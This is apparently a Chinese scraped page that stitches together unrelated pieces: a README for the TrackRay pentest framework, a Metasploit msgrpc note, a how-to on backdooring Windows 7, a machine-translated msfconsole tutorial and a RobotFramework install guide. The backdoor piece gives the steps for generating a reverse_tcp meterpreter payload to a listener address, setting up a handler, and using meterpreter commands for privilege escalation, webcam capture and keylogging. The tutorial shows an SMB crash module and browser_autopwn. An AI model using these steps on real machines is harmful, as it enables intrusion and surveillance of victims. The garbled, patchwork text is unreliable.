- 1、打造自己的渗透测试框架—溯光
- 2、python 怎么调用metasploit
- 3、如何利用metasploit进行漏洞扫描和攻击
- 4、为什么我启动了msfconsole没有msf终端
- 5、Kali工具中的 msf 为什么不能自动化攻击
TrackRay简介
溯光,英文名“TrackRay”,意为逆光而行,追溯光源。同时致敬安全圈前辈开发的“溯雪”,“流光”。
溯光是一个开源的插件化渗透测试框架,框架自身实现了漏洞扫描功能,集成了知名安全工具:Metasploit、Nmap、Sqlmap、AWVS等。
溯光使用 Java 编写,SpringBoot 作为基础框架,JPA + HSQLDB嵌入式数据库做持久化,Maven 管理依赖,Jython 实现 Python 插件调用,quartz 做任务调度,freemarker + thymeleaf 做视图层,Websocket 实现命令行式插件交互。
框架可扩展性高,支持 Java、Python、JSON 等方式编写插件,有“漏洞扫描插件”、“爬虫插件”、“MVC插件”、“内部插件”、“无交互插件”和“可交互插件” 等插件类型。
功能展示
主页
登录
任务创建
任务列表
任务详情
无交互接口插件调用
MVC插件示例
交互式插件控制台
MSF 控制台
依赖环境
JDK 1.8
Python 2.7
Maven
Git
Metasploit
Nmap(建议安装)
SQLMAP(建议安装)
AWVS
**加粗为必须环境,没有安装程序则无法正常编译运行
不论是 Windows 还是 linux 一定需要先安装 JDK1.8 和 Maven。安装过程这里不做演示。保证 JDK 和 Maven 都在系统环境变量,能执行java -version 和 mvn –version即可。
安装过程
第一步
手动启动 AWVS 服务
登录后台,生成一个API密匙。
复制密匙和 AWVS 的地址。
找到web/src/main/resources/application.properties配置文件。
修改如下部分
第二步
找到你 python 的第三方库目录。
Windows 的一般在 python 安装目录下的/Lib/site-packages
Linux 下可以通过输出 sys.path 来找第三方包路径
我的是 D:/Python2/Lib/site-packages
同样找到web/src/main/resources/application.properties配置文件。
修改python.package.path参数
第三步
安装 Maven 后找到仓库位置。
如果没有在 settings.xml 里配置指定仓库目录,默认会在当前用户目录中生成一个 .m2的目录
找到仓库目录后修改 application.properties 的 maven.repository.path参数
第四步
这个是 DNSLOG 回显检测漏洞时需要的。
去 ceye.io 注册一个账号,拿到给你分配的域名和 TOKEN。
修改配置文件
第五步
启动 msf 和 sqlmapapi。
如果你是 kali 操作系统,可以直接运行startdep.sh。
如果是其他系统,则要找到 metasploit 和 sqlmap 的目录分别执行
启动成功后修改配置文件
第六步
编译打包程序
等待依赖下载完成和编译完成,如果以上操作都没有出现问题则会提示 BUILD SUCCESS
编译成功后会在当前目录打包一个trackray.jar就是溯光的主程序。
然后直接执行startup.bat或startup.sh溯光就会启动服务。
没有抛出异常或ERROR日志,访问 8080 端口正常。
服务启动正常后,登录 iZone 社区账号。
**开发插件建议使用 Intellij IDEA IDE,需要安装 lombok 插件。
目录结构
插件
AbstractPlugin
这是交互式插件和非交互式插件的父类。
BASE常量
其中的静态常量 BASE 是 /resources/include/ 的所在目录。
如果你的插件需要额外的静态资源,那么你可以在 /resources/include 目录里创建一个和插件 KEY 相同的文件夹,便于识别,如果没有在 @Plugin 注解中设置 value 则默认的插件 KEY 就是当前类名首字母小写。
如 Typecho001 = typecho001
check(Map param)
这是用于检验是否合规的方法,需要被强制重写,当返回 true 时才会调用 start() 方法
param 参数是从前台传过来的参数键值对。
常被用于检验参数格式是否正确或漏洞是否存在。
after()
在 start() 方法之前调用
before()
在 start() 方法之后调用
start()
这是一个抽象方法,所有继承了该类的子类都需要重写这个方法。
在 check 方法 通过后会调用 start() 方法
start() 方法返回值最终会会当做插件结果,响应给前台。
shell()
调用当前系统 shell 来辅助完成插件功能。
executor()
插件执行的主方法
crawlerPage
http请求对象(不推荐使用)
fetcher
执行 http 请求对象(不推荐使用)
errorMsg
当校验不通过时,返回给前台的信息。
param
前台传过来的参数键值对
requests
HTTP 发包工具(推荐使用)
hackKit
hack 常用工具包
无交互插件
无交互插件需要你填写好所有要填写的参数,直接请求接口来执行插件。
默认需要去继承 CommonPlugin类。
这是一个抽象类,继承了 AbstractPlugin
主要多出来两个属性:request 和 response。
继承了 CommonPlugin 的类可以通过调用这两个属性来控制请求和响应内容。
无交互插件同时也需要使用 @Rule 和 @Plugin 插件,这两个注解后面会讲到。
在 ,找到相应的插件填写好参数提交即可完成调用。
或直接调用接口。
交互式插件
交互式插件一般在命令行控制台中调用,可以允许你通过命令行交互来完成插件的调用。
交互式插件由 Websocket 实现,想要写一个交互式插件,首先要继承 WebSocketPlugin 类。
同时设置 @Rule 注解的 websocket 参数为 true ,如果需要异步交互需要将 sync 也设置为 true。
内部插件
内部插件是不可以通过外部去调用的,需要继承 InnerPlugin 并使用 @Plugin 注解,通常在漏洞扫描时时会调用。
例如 “网页爬虫”,“指纹识别”,“端口扫描” 等,都是通过调用内部插件实现的。
还有用于检测 SSRF 等漏洞用的 FuckCeye 插件也属于内部插件。
通过 spring 的自动注入,来注入内部插件到当前对象。
例子可参考 WebLogicWLSRCE.java
爬虫插件
爬虫插件会在扫描任务被勾选“网页爬虫”时调用,每爬取一条请求就会调用一次爬虫插件。
爬虫插件需要继承 CrawlerPlugin,继承该类必须重写 check 和 process 方法。
check 方法用于检验请求是否符合插件规则,以免产生多余请求。
当 check 方法 返回为 true 时会调用 process 方法。
process 方法里写插件主要检测代码。
addVulnerable()
当插件检测出漏洞时,可以通过调用 addVulnerable() 方法来向数据库插入一条漏洞。
requests
requests 属性为请求工具包,处理 https 和 http 都很方便。
response
response 属性为当前爬虫得到的 HTTP 响应。
task
task 属性为当前任务对象,如果你的爬虫插件不是检测漏洞而希望是检测一些敏感信息的话可以修改 task.getResult() 里的属性。
参考 FingerProbe.java 或 InfoProbe.java。
target
爬虫爬取到的 URL 对象。
fetcher crawlerPage
http 请求对象(不建议使用)。
漏洞扫描插件
漏洞扫描插件会在,扫描任务中勾选“漏洞攻击模块”时调用。
漏洞扫描插件分为三种
1.独立插件
独立的漏洞扫描插件需要继承 AbstractExploit 并使用 @Plugin 或 @Exploit
AbstractExploit 中有以下需要了解的方法和属性。
requests
http / https 发包工具
target 当前扫描任务的地址。
task
当前扫描任务对象。
check()
check 是一个抽象方法,需要被子类强制重写。
该方法一般用于检验是否符合当前漏洞扫描插件的规则,以免产生多与请求。
attack()
attack 也是一个抽象方法,需要被子类强制重写。
该方法是检测漏洞的主方法。
before()
在 attack 方法前执行
after()
在 attack 方法后执行
addVulnerable()
当插件检测出漏洞时,可以通过调用 addVulnerable() 方法来向数据库插入一条漏洞。
fetcher crawlerPage
http 请求对象(不建议使用)。
2.漏洞规则
位于
实际上这是一个“内部插件”,会在勾选漏洞模块攻击时调用。
有一些漏洞检测方法很简单,只通过简单的判断响应体就能识别出来,也就没有必要再去写一个独立的插件而占用空间了。
在 doSwitch() 方法中会先去根据当前任务的指纹识别结果走一遍 switch 流程。
swtich 的每一个 case 都是 WEB 指纹的枚举对象。
当 switch 找到当前任务 WEB 指纹对应的 case 后,case 内的代码会通过构建一个漏洞规则添加到 loaders 集合里。
如果规则是通用的,可以写在 switch 的外面。
3.kunpeng JSON插件
kunpeng 是一个 go 语言编写的 poc 测试框架,这里我对 kunpeng 的 JSON 插件做了一个支持。
只需要按照 kunpeng json 插件的格式规范创建一个 json 文件到 /resources/json 目录。
在扫描任务勾选“漏洞攻击模块”时会被调用,或通过 MVC 插件调用 。
MVC 插件
位于
MVC 插件的特点在于,他可以像是在写一个功能一样,而非简单的接口式调用。
MVC 插件需要继承 MVCPlugin 类,并使用 @Rule,@Plugin 注解。
MVCPlugin 内置了一个 ModelAndView 对象, 是 SpringMVC 提供的。
可以通过 setViewName() 来指定视图层的网页模板。
通过 addObject(key,value) 向视图层网页模板注入参数。
这里的视图层是使用 thymeleaf 实现的,需要懂 thymeleaf 的语法。
例子可以参考:com.trackray.module.inner.JSONPlugin
继承 MVCPlugin 必须要重写一个 index 方法,这是插件的入口。
如果需要写其他的功能,就得再创建一个 public 返回值为 void 的无参方法。
并且要在该方法上使用 @Function 注解,该注解的 value 参数如果不填写的话则默认的 requestMapping 地址为方法名。
例如
最后还需要在 /module/src/main/resources/templates 创建一个目录名为插件 KEY 的目录。
里面存放扩展名为 .html 的模板文件。
Python 插件
python 插件有两种实现方式。
1.通过命令行实现
这种方式最为简单,通过在 include 里写一个 python 脚本。
然后在插件里调用 shell() 方法来执行系统命令。
案例可参考 com.trackray.module.plugin.windows.smb.MS17010
但这样还需要再写 java 的代码,对于没有学过 java 的人来说很不友好。
2.通过jython实现
jython 是一个 Python 语言在 Java 中的完全实现。
我将它的调用过程写成了一个交互式插件。
你可以通过在 /resources/python/ 目录下安装如下规范去创建一个 python 文件。
在这个 python 文件中需要写两个方法。
关于注解
@Rule
一般用在“可交互插件”和“无交互插件”类上。
@Plugin
WEB指纹
这里顺便再说一下如何添加指纹库。
指纹库位于 base 模块,是一个枚举类。
可以在首部或尾部添加一条新的枚举,尽量使用 $ 开头。
第一个参数是 指纹的名称,如果第二个参数是 String 类型则是该指纹的说明。
FingerBean 类是指纹匹配对象。
与msgrpc进行通信其实就是与msfconsole进行通信,首先你需要创建一个msfrpc的类,登录到msgrpc服务器并且创建一个虚拟的终端,然后你就可以在你创建的虚拟终端上面执行多个命令的字符串.你可以调用模块的方法与console.write执行命令,并且通过”console.read”从虚拟终端上面读取输入的值.
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣,针对这些以下业内相关专家就给大家介绍下,当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为:cn_win7_x86_7601虚拟机,地址为:192.168.0.116;而本地主机就为:192.168.0.149。方法步骤一:黑客用Msfpayload直接生成相关的后门程序,如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步骤二:黑客直接就能进入所在的目录并将属性进行修改,换为允许以程序执行文件,详细如下图。进入所在目录,修改属性:选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三:接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机,最后就能开始进行监听了,详细情况如下图。打开msfconsole,加载exploit/multi/handler模块,设置本地主机;然后开始监听:exploit-z-j:方法步骤四:黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五:以上步骤全部完成后黑客就能通过后门程序反向连接到msf,用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf,详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块,因此的话溢出成功后黑客就能攻击载荷进行使用,一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道,这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外,附meterpreter常用命令:getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景,需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
这可能是最流行的msfconsole界面MSF。它提供了一个“一体化”集中控制台,允许你有效地访问到几乎所有的选项可在Metasploit框架。Msfconsole起初看似吓人的,但一旦你学习语法的命令,你将学会欣赏利用该接口的力量。msfconsole界面的窗户都可以在3.3版本发布,但3.2版本的用户将需要手动安装Cygwin框架下,随着红宝石安装补丁,或接触控制台模拟器通过包括网站或GUI部件。
msfconsole的好处:
1.这是唯一办法访问大多数支持在Metasploit特点。
2.console-based界面提供了一个框架
3.含有最特点和是最稳定的无国界医生的界面
4.充分readline支持,tabbing以及命令完成
5.在msfconsole外部命令的执行是可能的
msf ping -c 1 192.168.1.2[*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms — 192.168.1.2 ping statistics — 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf
通过简单的展开msfconsole运行。“从/ msfconsole命令行。你可以 msfconsole -h”,去看看别的用途。
输入help或者?,显示在msfconsole中的可用命令
标签完成
这是msfconsole设计快速使用和特点之一,有助于这一目标是标签完成。与各种各样的模组可供选择,就很难记得确切的名字和路径的特殊模数你希望利用。同大多数的其他类型的贝壳,进入你所知道的和紧迫的标签的会赠送一个列表选择或自动完成你的字符串,如果只有一个选择。标签完成readline取决于延伸和几乎每个指挥控制台支持标签完成。
use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
back
命令
msf auxiliary(ms09_001_write) back msf
check命令
没有很多的利用,支持它,但也存在着一个“检查’选项,看看一个目标是脆弱的,而不是一个特定的开发利用它实际上。
msf exploit(ms04_045_wins) show options Module options: Name Current Setting Required Description —- ————— ——– ———– RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name — —- 0 Windows 2000 English msf exploit(ms04_045_wins) check[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
connect命令 连接
有一个微型netcat克隆建成的msfconsole支持SSL,代理,旋转、文件发送。发出“连接”命令一个ip地址和端口的号码,你可以连接到一个远程主机在msfconsole一样的你会与netcat或远程登录。
msf connect 192.168.1.1 23[*] Connected to 192.168.1.1:23 ??????!???? DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ? DD-WRT login:
通过“-”的连接,它将通过SSL连接:
msf connect -s 443[*] Connected to GET / HTTP/1.0 HTTP/1.1 302 Found Date: Sat, 25 Jul 2009 05:03:42 GMT Server: Apache/2.2.11 Location:
run命令
msf auxiliary(ms09_001_write) run Attempting to crash the remote host… datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue …snip…
irb命令
msf irb[*] Starting IRB shell… puts “Hello, metasploit!” Hello, metasploit! = nil Framework::Version = “3.8.0-dev” framework.modules.keys.length =1336
msfconsole
Retrieved from “”
jobs命令
msf exploit(ms08_067_netapi) jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -i Lists detailed information about a running job. -k Terminate the specified job name. -l List all running jobs. -v Print more detailed info. Use with -i and -l
load命令
load指挥从Metasploit载入一个插件的插件的目录。通过参数的 ‘key=val’ 的shell上。
msf load Usage: load [var=val var=val …] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf load pcap_log[*] Successfully loaded plugin: pcap_logunload命令 卸掉
msf load pcap_log [*] Successfully loaded plugin: pcap_log msf unload pcap_log Unloading plugin pcap_log…unloaded.
loadpath命令
“loadpath”命令将载入一个third-part模块树为道路,这样你就可以在你的0-day点Metasploit战功,编码器,有效载荷,等。
msf loadpath /home/secret/modules Loaded 0 modules.
resource命令
一些攻击(如Karmetasploit使用资源(批)文件,您可以通过msfconsole负载使用“资源”命令。这些文件是一个基本的脚本为msfconsole。它运行的命令在档案按顺序排列。稍后我们将探讨,外面的Karmetasploit,可以是非常有用的。
msf resource karma.rc resource load db_sqlite3 [-][-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new ‘db_driver’ [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-][-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource use auxiliary/server/browser_autopwn resource setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST = 10.0.0.1 …snip…
批处理文件可以大大加快测试和开发时间以及允许用户自动化许多任务。除了载入一个批处理文件msfconsole从内部,但是它们还是可以通过使用“r”启动国旗。简单的范例创造一个批处理文件显示Metasploit版本号在启动。
root@bt:~# echo version version.rc root@bt:~# ./msfconsole -r version.rc888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 “888 “88bd8P Y8b888 “88b88K 888 “88b888d88″”88b888888 888 888 88888888888888 .d888888″Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 “Y8888 “Y888″Y888888 88888P’88888P” 888 “Y88P” 888 “Y888 888 888 888 =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + — –=[ 688 exploits – 357 auxiliary – 39 post + — –=[ 217 payloads – 27 encoders – 8 nops =[ svn r12668 updated today (2011.05.19) resource version Framework: 3.8.0-dev.12644 Console : 3.8.0-dev.12651 msf
route命令
“route”命令在Metasploit允许你通过路由卯会话或’comm’,提供基本的旋转能力。添加一个路线,你通过目标的子网和网络掩码,紧随其后的是会议(传媒类)号码。
msf exploit(ms08_067_netapi) route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local. msf exploit(ms08_067_netapi) route add 192.168.1.0 255.255.255.0 2 msf exploit(ms08_067_netapi) route print Active Routing Table ==================== Subnet Netmask Gateway —— ——- ——- 192.168.1.0 255.255.255.0 Session 2
info命令
“info”命令将提供详细的信息关于某个模块包括所有的选择,目标,和其他信息。一定要认真阅读模块描述使用它作为前可能有些un-desired效果。
信息的命令也提供以下信息:
1.作者和许可的信息
2.漏洞参考资料
3.任何有效载荷限制模块
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
set 命令
‘set’指令让你配置框架选项和参数对当前模块你处理。
msf auxiliary(ms09_001_write) set RHOST 192.168.1.1 RHOST = 192.168.1.1 msf auxiliary(ms09_001_write) show options Module options: Name Current Setting Required Description —- ————— ——– ———– RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port
最近的一份附加的性能在Metasploit是能力设定一个编码器使用运行时间。这是特别有用的发展在利用你还不太确定的编码方法,将工作载荷与开发。
msf exploit(ms08_067_netapi) show encoders Compatible encoders =================== Name Description —- ———– cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The “none” Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) set encoder x86/shikata_ga_nai encoder = x86/shikata_ga_nai
unset命令
相反的“set’命令,当然,是“unset”。“unset”去掉一个参数配置与“set’之前。你可以移除所有的变量与’unset all’。
msf set RHOSTS 192.168.1.0/24 RHOSTS = 192.168.1.0/24 msf set THREADS 50 THREADS = 50 msf set Global ====== Name Value —- —– RHOSTS 192.168.1.0/24 THREADS 50 msf unset THREADS Unsetting THREADS… msf unset all Flushing datastore… msf set Global ====== No entries in data store.
最近刚刚接触到RobotFramework,发现这个工具倒是可以满足我的要求,而且可以结合seleniumLibrary,用来做web的自动化测试相当不错。之前我也接触过selenium,不过感觉那个工具更贴近开发人员使用,有了robotFramework之后,感觉这个工具相当强大,而且是贴近测试人员的。之所以说强大,主要是这些测试脚本都可以用文本格式保存(如txt/html等)==安装篇==如果有想学的朋友可以自己下载以下文件安装(Google-code里可以找到大部分的安装文件):这篇文章的内容比较旧了,最新的安装指南请查看 更新篇python-2.7.1.msi(首先要有python,请选择将Python加入Path)wxPython2.8-win32-unicode-2.8.11.0-py27.exe(wxPython,必须要的)robotframework-2.6.0.win32.exe(然后装robot的Framework)robotframework-ride-0.38.1.win32.exe(robotFramework的IDE,很不错)robotframework-seleniumlibrary-2.8.win32.exe(seleniumLibrary)安装成功后执行[PythonDir]\Scripts\ride.py看到界面就是安装成功了。如果需要AutoIt支持就下载下面2个东东。AutoItLibrary-1.1pywin32-216.win32-py2.7.exe==入门篇==安装完成了,这个框架可以说是基于keyword的操作,按F5可以看到所有加载的keyword。首先新增一个project然后新增suite然后新增test case,接着在suite层级add library,把selenium library加进来,添加后按F5检验是否添加成功,如图OK,继续在suite的setting里设置suite启动和结束的keyword,即Start Selenium Server和Stop Selenium Server,他会在运行时帮助我们自动启动seleniumserver。接下来在test case里添加一个步骤,open browser(一般用selenium做web测试都要用这个方法来打开浏览器),添加后关键字变成蓝色表示找到关键字了,否则可能是拼写错误或者没有加载相应的library。红色表示有一个必选参数要给定输入值,具体参数可以看F5里的keyword说明。输入参数,第二个参数默认是firefox,不过我没装,就用ie吧。以上只是一个简单的例子,没有详细说明每个步骤的操作,只是初步介绍。后续再详细介绍
原创文章,作者:M8W3D,如若转载,请注明出处:https://www.506064.com/n/126530.html